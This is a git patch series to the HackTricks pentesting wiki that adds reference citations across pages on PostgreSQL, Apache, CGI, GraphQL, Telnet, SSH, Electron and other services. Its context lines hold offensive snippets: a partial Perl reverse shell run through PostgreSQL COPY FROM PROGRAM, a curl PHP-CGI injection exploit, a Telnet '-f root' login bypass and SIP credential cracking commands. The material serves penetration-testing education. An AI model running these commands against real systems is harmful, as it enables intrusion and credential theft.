 - [6] [devalias – Deobfuscating / Unminifying Obfuscated Web App Code (GitHub Gist)](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
+- [7] [Anthropic Project Glasswing](https://www.anthropic.com/glasswing)
+- [8] [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
+- [9] [nVisium Blog: Angular for Pentesters – Part 1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
+- [10] [nVisium Blog: Angular for Pentesters – Part 2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
+- [11] [devalias – Reverse Engineering Webpack Apps (GitHub Gist)](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
+- [12] [devalias – further JavaScript-related GitHub Gists (search)](https://gist.github.com/search?q=user:0xdevalias+javascript)
+- [13] [CyberChef](https://cyberchef.org/)
+- [14] [OlaJS JavaScript Prettifier](https://olajs.com/javascript-prettifier)
+- [15] [JSHint](https://jshint.com/)
+- [16] [jshint (GitHub repository)](https://github.com/jshint/jshint/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index f37af60d4cb..be5fb0e8ff7 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -728,5 +728,7 @@ Detection and mitigations
 - [26] [VS Code PR #319705: confirm notebook opening and stop accepting caller-provided installExtension context](https://github.com/microsoft/vscode/pull/319705)
 - [27] [VS Code PR #319813: block programmatic webview keypress/click re-dispatch in notebook webviews](https://github.com/microsoft/vscode/pull/319813)
 - [28] [VS Code 1.89 / local workspace extensions](https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions)
+- [29] [APPSEC Cali 2018 - MarkDoom: How I Hacked Every Major IDE in 2 Weeks](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
+- [30] [ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
 
 {{#include ../../../banners/hacktricks-training.md}}

From b5de1b4e25973e2afe5c0c8ce8c49cd6ae80305f Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 13:07:36 +0200
Subject: [PATCH 5/7] References: cite already-listed sources on the lines that
 mention them (3 citations)

---
 src/network-services-pentesting/pentesting-snmp/README.md | 2 +-
 src/network-services-pentesting/pentesting-vnc.md         | 2 +-
 src/network-services-pentesting/pentesting-web/apache.md  | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index f18df6ecbaa..2a519e6223e 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -35,7 +35,7 @@ There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid
 
 ### **OID Example**
 
-[**Example from here**](https://www.netadmintools.com/snmp-mib-and-oids/):
+[**Example from here**](https://www.netadmintools.com/snmp-mib-and-oids/):<sup>[[1]](#references)</sup>
 
 **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
 
diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md
index 5192ac4db87..12000e7c8f2 100644
--- a/src/network-services-pentesting/pentesting-vnc.md
+++ b/src/network-services-pentesting/pentesting-vnc.md
@@ -32,7 +32,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
 
 Default **password is stored** in: \~/.vnc/passwd
 
-If you have the VNC password and it looks encrypted (a few bytes, like if it could be an encrypted password), it is probably ciphered with 3des. You can get the clear text password using [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
+If you have the VNC password and it looks encrypted (a few bytes, like if it could be an encrypted password), it is probably ciphered with 3des. You can get the clear text password using [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)<sup>[[1]](#references)</sup>
 
 ```bash
 make
diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md
index 90fc18fc622..c6c71a17967 100644
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@@ -248,7 +248,7 @@ Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is
 
 #### **Overwrite Handler to Disclose PHP Source Code**
 
-In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.<sup>[[9]](#references)</sup>\
 Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.<sup>[[9]](#references)</sup>
 
 #### **Overwrite Handler to XXXX**

From d4ffa783abd0cff1b4291ab23356083d8d22c062 Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 13:25:12 +0200
Subject: [PATCH 6/7] References: add entries for content sources cited only
 inline

Sources the prose draws on (writeups, advisories, research posts) now have
a numbered References entry and the line that uses them cites it.
Tool, download and product links are left inline.
---
 src/network-services-pentesting/pentesting-postgresql.md | 9 ++++++---
 .../pentesting-smtp/README.md                            | 3 ++-
 src/network-services-pentesting/pentesting-web/README.md | 3 ++-
 src/network-services-pentesting/pentesting-web/apache.md | 4 +++-
 src/network-services-pentesting/pentesting-web/cgi.md    | 6 +++++-
 .../pentesting-web/graphql.md                            | 3 ++-
 6 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md
index 0a356e25a52..e3729108b9d 100644
--- a/src/network-services-pentesting/pentesting-postgresql.md
+++ b/src/network-services-pentesting/pentesting-postgresql.md
@@ -421,7 +421,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
 > [**More info.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
 
 Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
-More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).<sup>[[3]](#references)</sup>
+More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).<sup>[[3]](#references)[[15]](#references)</sup>
 
 #### Bypass keyword filters/WAF to reach COPY PROGRAM
 
@@ -607,7 +607,7 @@ The attack steps are:
 
 #### **Grant**
 
-According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
+According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._<sup>[[16]](#references)</sup>
 
 So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
 
@@ -764,7 +764,7 @@ AS $BODY$
 … 
 </code></pre>
 
-As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.
+As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.<sup>[[17]](#references)</sup>
 
 In the line 4 of the previous code you can see that the function has the **SECURITY DEFINER** flag.
 
@@ -1074,5 +1074,8 @@ What to look for:
 - [12] [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html)
 - [13] [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)
 - [14] [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
+- [15] [postgresql.org - feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935)
+- [16] [postgresql.org - 13 - Sql Grant](https://www.postgresql.org/docs/13/sql-grant.html)
+- [17] [postgresql.org - explained in the docs](https://www.postgresql.org/docs/current/sql-createfunction.html)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 65ac0db34b3..4a6ee664520 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -685,7 +685,7 @@ s.sendmail(sender, [destination], msg_data)
 
 ### **More info**
 
-**Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
+**Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)<sup>[[8]](#references)</sup>
 
 ### **Other phishing indicators**
 
@@ -777,6 +777,7 @@ Entry_8:
 - [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/)
 - [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)
 - [7] [What could a hacker do with a misconfigured SMTP server?](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
+- [8] [seanthegeek.net - 459 - Demystifying Dmarc](https://seanthegeek.net/459/demystifying-dmarc)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 4382096400d..1d5e98231b4 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -354,7 +354,7 @@ Find more info about web vulns in:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
-- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
+- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)<sup>[[2]](#references)</sup>
 
 ### Monitor Pages for changes
 
@@ -440,5 +440,6 @@ Entry_12:
 ## References
 
 - [1] [BurpJSLinkFinder Enhanced](https://github.com/panchocosil/burp-js-linkfinder-enhanced)
+- [2] [owasp-skf.gitbook.io - Kbid 111 Client Side Template Injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md
index c6c71a17967..d64d79f5c35 100644
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@@ -259,7 +259,7 @@ TODO: Orange hasn't disclose this vulnerability yet
 
 If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
 
-According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
+According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:<sup>[[11]](#references)[[12]](#references)</sup>
 
 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
@@ -434,5 +434,7 @@ If you find `AddType` instead of `SetHandler` / `AddHandler`, compare direct req
 - [8] [Apache RewriteRule Flags (`UnsafeAllow3F`, `UnsafePrefixStat`)](https://httpd.apache.org/docs/2.4/rewrite/flags.html)
 - [9] [Apache 0day bug, which still nobody knows of, and which was fixed accidentally (Max Dmitriev, ZeroNights 2021)](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)
 - [10] [Docker PHP LFI Summary (Phith0n)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)
+- [11] [datatracker.ietf.org - RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)
+- [12] [datatracker.ietf.org - Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md
index 9c81d253e29..17cf72413b2 100644
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@@ -138,7 +138,7 @@ Example:**
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
 
-**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)</sup>
 
 ### Modern Windows PHP-CGI bypass \(CVE-2024-4577\)
 
@@ -193,5 +193,9 @@ Useful notes:
 
 - [1] [Orange Tsai - CVE-2024-4577: Yet Another PHP RCE, Make PHP-CGI Argument Injection Great Again!](https://blog.orange.tw/posts/2024-06-cve-2024-4577-yet-another-php-rce/)
 - [2] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
+- [3] [zero-day.cz - Database - 337](https://www.zero-day.cz/database/337)
+- [4] [cve.mitre.org - cve-2012-1823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)
+- [5] [cve.mitre.org - cve-2012-2311](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)
+- [6] [W3rni0/HacktivityCon_CTF_2020 - CTF Writeup Example](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 4eeceb38b98..47ec8008ff6 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -23,7 +23,7 @@ To identify exposed GraphQL instances, the inclusion of specific paths in direct
 - `/graphql/api`
 - `/graphql/graphql`
 
-Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
+Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)<sup>[[20]](#references)</sup>
 
 ### Fingerprint
 
@@ -818,5 +818,6 @@ https://graphql-dashboard.herokuapp.com/
 - [17] [That single GraphQL issue that you keep missing](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)
 - [18] [GraphQL Query Authentication Bypass Vuln](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)
 - [19] [HackerOne Report #792927 - sensitive account details leak via GraphQL query variables](https://hackerone.com/reports/792927)
+- [20] [graphql.org - GraphQL: A query language for APIs](https://graphql.org/learn/introspection)
 
 {{#include ../../banners/hacktricks-training.md}}

From c98eb4a9d08d92a9f707d9e94f7868a77f6711bd Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 13:50:44 +0200
Subject: [PATCH 7/7] References: cite previously-unused reference entries

Each superscript points at the existing line the reference documents.
---
 src/network-services-pentesting/pentesting-smb/README.md  | 2 +-
 .../ksmbd-attack-surface-and-fuzzing-syzkaller.md         | 2 +-
 src/network-services-pentesting/pentesting-ssh.md         | 4 ++--
 src/network-services-pentesting/pentesting-telnet.md      | 2 +-
 src/network-services-pentesting/pentesting-voip/README.md | 2 +-
 src/network-services-pentesting/pentesting-web/angular.md | 4 ++--
 .../pentesting-web/electron-desktop-apps/README.md        | 4 ++--
 src/network-services-pentesting/pentesting-web/graphql.md | 8 ++++----
 8 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index fb50b11d7d9..6f42686848c 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -571,7 +571,7 @@ sudo ntpdate <dc.fqdn>
 netexec smb <dc.fqdn> -k
 ```
 
-For a complete client setup (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) see:
+For a complete client setup (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) see:<sup>[[8]](#references)</sup>
 
 {{#ref}}
 ../pentesting-kerberos-88/README.md
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 17bb9e33e7a..bbf74f1beef 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -152,7 +152,7 @@ smb2_ioctl_req {
 } [packed]
 ```
 
-This style forces correct structure sizes/offsets and dramatically improves coverage versus blind mutation.
+This style forces correct structure sizes/offsets and dramatically improves coverage versus blind mutation.<sup>[[3]](#references)</sup>
 
 ## Prioritise CREATE Contexts, ACLs, and Named Streams
 Recent upstream fixes landed in parser families that are easy to miss if the corpus only contains generic `open/read/close` traffic. Give these paths dedicated grammar entries and seed packets:
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index 5710575e661..5f4afa2ef6c 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -36,7 +36,7 @@ nc -vn <IP> 22
 
 ### Automated ssh-audit
 
-ssh-audit is a tool for ssh server & client configuration auditing.
+ssh-audit is a tool for ssh server & client configuration auditing.<sup>[[6]](#references)</sup>
 
 [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
 
@@ -167,7 +167,7 @@ ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
 ```
 
 Notes:
-- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.<sup>[[3]](#references)</sup>
+- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.<sup>[[3]](#references)[[7]](#references)</sup>
 - `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
 
 ## Default Credentials
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index ebf6a9855cc..0c22c853041 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -129,7 +129,7 @@ USER='-f root' telnet -a <ip>
 **Mitigations**
 
 * **Patch/upgrade** affected packages immediately (e.g., Debian fixes are in `2:2.4-2+deb12u2`, `2:2.6-3+deb13u1`, and `2:2.7-2`).<sup>[[4]](#references)</sup>
-* **Disable Telnet** or restrict access to trusted management networks while patching.
+* **Disable Telnet** or restrict access to trusted management networks while patching.<sup>[[8]](#references)</sup>
 
 ### Sniffing Credentials & Man-in-the-Middle
 
diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md
index ae3e28346b4..d778f74c856 100644
--- a/src/network-services-pentesting/pentesting-voip/README.md
+++ b/src/network-services-pentesting/pentesting-voip/README.md
@@ -342,7 +342,7 @@ To get this information you could use tools such as Wireshark, tcpdump... but a
 
 [Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) to learn how are **credentials being sent**.
 
-- **`sipdump`** & **`sipcrack`,** part of **sipcrack** (`apt-get install sipcrack`): These tools can **extract** from a **pcap** the **digest authentications** within the SIP protocol and **bruteforce** them.
+- **`sipdump`** & **`sipcrack`,** part of **sipcrack** (`apt-get install sipcrack`): These tools can **extract** from a **pcap** the **digest authentications** within the SIP protocol and **bruteforce** them.<sup>[[6]](#references)</sup>
 
 ```bash
 sipdump -p net-capture.pcap sip-creds.txt
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 7aee05e2661..215069ad5dd 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -70,7 +70,7 @@ Furthemore, a compiled JavaScript file with an Angular project can be found in t
 
 ## Data binding
 
-Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.<sup>[[2]](#references)</sup>
+Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.<sup>[[2]](#references)[[22]](#references)</sup>
 
 We can classify binding by data flow:<sup>[[2]](#references)</sup>
 
@@ -249,7 +249,7 @@ Of course, there also is a possibility of introducing new template injection vul
 
 #### DOM interfaces
 
-As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.
+As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.<sup>[[23]](#references)</sup>
 
 We used the `document.write()` and `document.createElement()` methods in the examples below:<sup>[[4]](#references)[[12]](#references)</sup>
 
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index be5fb0e8ff7..104d3898216 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -303,7 +303,7 @@ Further, another method for **reading an internal file** is shared, highlighting
 
 ## **RCE: XSS + Old Chromium**
 
-If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
+If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.<sup>[[30]](#references)</sup>\
 You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)<sup>[[22]](#references)</sup>
 
 ## **XSS Phishing via Internal URL regex bypass**
@@ -524,7 +524,7 @@ Example manifest pattern:
 
 ## Post-exploitation: ASAR/main-process implants
 
-If you obtain **write access** to an Electron app resources directory, a very practical post-exploitation primitive is to **patch `app.asar`** (or the JS entrypoint it loads) and wait for the user to relaunch the app. Unlike a renderer-only XSS, code loaded from the **main process** executes in the app's **Node.js runtime**, so it can usually access the **filesystem**, spawn commands, hook Electron APIs, and inspect authenticated application state.<sup>[[1]](#references)</sup>
+If you obtain **write access** to an Electron app resources directory, a very practical post-exploitation primitive is to **patch `app.asar`** (or the JS entrypoint it loads) and wait for the user to relaunch the app. Unlike a renderer-only XSS, code loaded from the **main process** executes in the app's **Node.js runtime**, so it can usually access the **filesystem**, spawn commands, hook Electron APIs, and inspect authenticated application state.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup>
 
 Typical workflow:
 
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 47ec8008ff6..ab0d8272658 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -4,15 +4,15 @@
 
 ## Introduction
 
-GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.
+GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.<sup>[[3]](#references)</sup>
 
 ## GraphQL and Security
 
-With the advent of new technologies, including GraphQL, new security vulnerabilities also emerge. A key point to note is that **GraphQL does not include authentication mechanisms by default**. It's the responsibility of developers to implement such security measures. Without proper authentication, GraphQL endpoints may expose sensitive information to unauthenticated users, posing a significant security risk.
+With the advent of new technologies, including GraphQL, new security vulnerabilities also emerge. A key point to note is that **GraphQL does not include authentication mechanisms by default**. It's the responsibility of developers to implement such security measures. Without proper authentication, GraphQL endpoints may expose sensitive information to unauthenticated users, posing a significant security risk.<sup>[[1]](#references)</sup>
 
 ### Directory Brute Force Attacks and GraphQL
 
-To identify exposed GraphQL instances, the inclusion of specific paths in directory brute force attacks is recommended. These paths are:
+To identify exposed GraphQL instances, the inclusion of specific paths in directory brute force attacks is recommended. These paths are:<sup>[[5]](#references)</sup>
 
 - `/graphql`
 - `/graphiql`
@@ -178,7 +178,7 @@ The last code line is a graphql query that will dump all the meta-information fr
 
 ![Basic Enumeration - Introspection: The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)](<../../images/image (363).png>)
 
-If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.
+If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.<sup>[[2]](#references)</sup>
 
 ### Querying